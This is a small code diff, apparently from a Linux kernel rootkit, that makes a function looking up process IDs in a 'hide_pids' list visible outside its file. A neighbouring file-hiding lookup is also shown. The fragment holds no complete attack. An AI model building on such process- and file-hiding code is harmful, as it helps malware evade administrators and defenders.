@@ -88,7 +88,7 @@ static int file_lookup_hidelist(char *name) {
return 0;
}
-static int pid_lookup_hidelist(pid_t pid) {
+int pid_lookup_hidelist(pid_t pid) {
struct st_hide_pid *tmp_pid;
list_for_each_entry(tmp_pid, &hide_pids, list) {
| | | | | | | | | | |